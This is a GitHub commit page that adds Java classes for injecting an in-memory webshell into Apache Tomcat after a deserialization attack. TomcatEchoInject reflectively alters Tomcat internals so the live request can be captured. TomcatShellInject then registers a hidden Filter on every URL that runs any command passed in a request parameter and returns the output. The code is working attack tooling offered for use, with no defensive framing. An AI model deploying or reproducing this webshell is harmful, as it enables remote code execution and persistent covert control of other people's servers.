Skip to content

Commit b1455e3

Browse files
author
“threedr3am”
committed
feat:添加基于tomcat的webshell和回显类
1 parent eadf7bb commit b1455e3

File tree

3 files changed

+190
-0
lines changed

3 files changed

+190
-0
lines changed

common/pom.xml

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,14 @@
4848
<artifactId>httpasyncclient</artifactId>
4949
<version>4.1.4</version>
5050
</dependency>
51+
52+
<dependency>
53+
<groupId>org.apache.tomcat.embed</groupId>
54+
<artifactId>tomcat-embed-core</artifactId>
55+
<version>9.0.31</version>
56+
<scope>compile</scope>
57+
</dependency>
58+
5159
</dependencies>
5260

5361
</project>
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
2+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
3+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
5+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
6+
7+
/**
8+
* 基于tomcat的半通用回显
9+
*
10+
* @author threedr3am
11+
*/
12+
public class TomcatEchoInject extends AbstractTranslet {
13+
14+
static {
15+
try {
16+
/*刚开始反序列化后执行的逻辑*/
17+
//修改 WRAP_SAME_OBJECT 值为 true
18+
java.lang.Class c = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher");
19+
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
20+
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
21+
modifiersField.setAccessible(true);
22+
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
23+
f.setAccessible(true);
24+
if (!f.getBoolean(null)) {
25+
f.setBoolean(null, true);
26+
}
27+
28+
//初始化 lastServicedRequest
29+
c = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain");
30+
f = c.getDeclaredField("lastServicedRequest");
31+
modifiersField = f.getClass().getDeclaredField("modifiers");
32+
modifiersField.setAccessible(true);
33+
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
34+
f.setAccessible(true);
35+
if (f.get(null) == null) {
36+
f.set(null, new ThreadLocal());
37+
}
38+
39+
//初始化 lastServicedResponse
40+
f = c.getDeclaredField("lastServicedResponse");
41+
modifiersField = f.getClass().getDeclaredField("modifiers");
42+
modifiersField.setAccessible(true);
43+
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
44+
f.setAccessible(true);
45+
if (f.get(null) == null) {
46+
f.set(null, new ThreadLocal());
47+
}
48+
} catch (Exception e) {
49+
e.printStackTrace();
50+
}
51+
}
52+
53+
@Override
54+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
55+
56+
}
57+
58+
@Override
59+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
60+
throws TransletException {
61+
62+
}
63+
}
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
2+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
3+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
5+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
6+
import java.io.IOException;
7+
import javax.servlet.Filter;
8+
import javax.servlet.FilterChain;
9+
import javax.servlet.ServletException;
10+
import javax.servlet.ServletRequest;
11+
import javax.servlet.ServletResponse;
12+
13+
/**
14+
* 基于tomcat的内存Webshell
15+
*
16+
* @author threedr3am
17+
*/
18+
public class TomcatShellInject extends AbstractTranslet implements Filter {
19+
20+
static {
21+
try {
22+
/*shell注入,前提需要能拿到request、response等*/
23+
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
24+
f.setAccessible(true);
25+
java.lang.ThreadLocal t = (java.lang.ThreadLocal) f.get(null);
26+
//不为空则意味着第一次反序列化的准备工作已成功
27+
if (t != null && t.get() != null) {
28+
javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) t.get();
29+
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
30+
org.apache.catalina.core.StandardContext standardContext = null;
31+
//判断是否已有该名字的filter,有则不再添加
32+
if (servletContext.getFilterRegistration("threedr3am") == null) {
33+
//遍历出标准上下文对象
34+
for (; standardContext == null; ) {
35+
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
36+
contextField.setAccessible(true);
37+
Object o = contextField.get(servletContext);
38+
if (o instanceof javax.servlet.ServletContext) {
39+
servletContext = (javax.servlet.ServletContext) o;
40+
} else if (o instanceof org.apache.catalina.core.StandardContext) {
41+
standardContext = (org.apache.catalina.core.StandardContext) o;
42+
}
43+
}
44+
if (standardContext != null) {
45+
//修改状态,要不然添加不了
46+
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
47+
stateField.setAccessible(true);
48+
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
49+
//创建一个自定义的Filter马
50+
javax.servlet.Filter threedr3am = new TomcatShellInject();
51+
//添加filter马
52+
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
53+
.addFilter("threedr3am", threedr3am);
54+
filterRegistration.setInitParameter("encoding", "utf-8");
55+
filterRegistration.setAsyncSupported(false);
56+
filterRegistration
57+
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
58+
new String[]{"/*"});
59+
//状态恢复,要不然服务不可用
60+
if (stateField != null) {
61+
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
62+
}
63+
64+
if (standardContext != null) {
65+
//生效filter
66+
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
67+
filterStartMethod.setAccessible(true);
68+
filterStartMethod.invoke(standardContext, null);
69+
70+
//把filter插到第一位
71+
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
72+
for (int i = 0; i < filterMaps.length; i++) {
73+
if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) {
74+
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
75+
filterMaps[i] = filterMaps[0];
76+
filterMaps[0] = filterMap;
77+
break;
78+
}
79+
}
80+
}
81+
}
82+
}
83+
}
84+
} catch (Exception e) {
85+
e.printStackTrace();
86+
}
87+
}
88+
89+
@Override
90+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
91+
92+
}
93+
94+
@Override
95+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
96+
throws TransletException {
97+
98+
}
99+
100+
@Override
101+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
102+
FilterChain filterChain) throws IOException, ServletException {
103+
System.out.println("TomcatShellInject.Threedr3amFilter doFilter.....................................................................");
104+
String cmd;
105+
if ((cmd = servletRequest.getParameter("threedr3am")) != null) {
106+
Process process = Runtime.getRuntime().exec(cmd);
107+
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
108+
StringBuilder stringBuilder = new StringBuilder();
109+
String line;
110+
while ((line = bufferedReader.readLine()) != null)
111+
stringBuilder.append(line + '\n');
112+
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
113+
servletResponse.getOutputStream().flush();
114+
servletResponse.getOutputStream().close();
115+
return;
116+
}
117+
filterChain.doFilter(servletRequest, servletResponse);
118+
}
119+
}

0 commit comments

Comments
 (0)